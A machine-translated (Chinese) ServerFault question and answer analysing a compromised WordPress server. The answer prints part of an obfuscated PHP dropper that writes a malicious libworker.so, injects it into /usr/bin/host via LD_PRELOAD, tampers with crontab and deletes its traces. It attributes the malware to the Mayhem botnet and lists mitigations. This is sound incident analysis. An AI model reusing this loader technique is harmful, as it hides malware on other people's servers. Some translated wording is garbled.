/ hack / bin / host由被黑的PHP脚本执行


8

今天,我注意到Apache Web服务器上的请求率异常高,并且传入网络流量也很高。检查Apache的mod_status页面后,我发现有问题的URL来自path www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/。确实,我在那里发现了一些被黑(混淆)的PHP脚本。

还注意到www-data用户执行的奇怪过程:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

检查/proc/7300/cmdline发现确实这是原始/usr/bin/host二进制文件。netstat -anp显示它打开了许多HTTP连接,因此以某种方式滥用了二进制文件。debsums确认二进制校验和正常。由于该过程是在www-data用户下运行的,因此我没有理由相信服务器本身受到了损害。

该二进制文件如何被滥用?

编辑:这不是广泛的“如何处理受感染的服务器”的问题。而是关于一种特定类型的滥用在技术上如何进行的问题(并且已经是一个答案),因为这种特殊情况在其工作方式上颇具创意。看来这已经流行了好几年(2012年的旧话题和问题),我本周遇到了它。


待相关问题结束后,我打开了一个新问题,并将发现的问题回答了。serverfault.com/questions/554801/…–
Marki555

Answers:


10

在挖掘了令人讨厌的PHP脚本的源代码并进行了谷歌搜索(此线程)之后,我找到了一个解释。

这是system.php我发现的代码的一部分:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

如何/usr/bin/host涉及到更高级。程序使用库(.so文件)来实现某些功能。用户可以LD_PRELOAD在启动合法的二进制文件以更改其行为之前预链接一些.so文件。

如您所见,该脚本创建了一个文件libworker.so并使用LD_PRELOAD环境变量对其进行了预加载,因此合法的host二进制文件所做的事情完全不同。

它创建一个1.shShell脚本并尝试以几种方式执行它(直接,使用at命令,使用cron)。此后,它将立即从磁盘中删除脚本和库文件,因此它不会被注意到。

首先发生的是,一些易受攻击的Wordpress插件被滥用,攻击者能够将其文件放入单词摆动目录。

缓解措施意味着分析该域的旧访问日志文件,并尝试查找POST对异常位置的任何请求-例如,直接访问WP / Joomla插件的PHP文件是不寻常的。然后删除所有发现的混淆的PHP文件,修复目录权限,终止正在运行的host进程并监视日志文件,以防再次攻击。

编辑:我从ESET得到了信息,他们已经检测到这个特定的库以及其他版本。防病毒公司给它起了Roopre的名字,它似乎是Mayhem僵尸网络的一部分。

对Mayhem僵尸网络的深入分析

对此漏洞进行深入分析

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.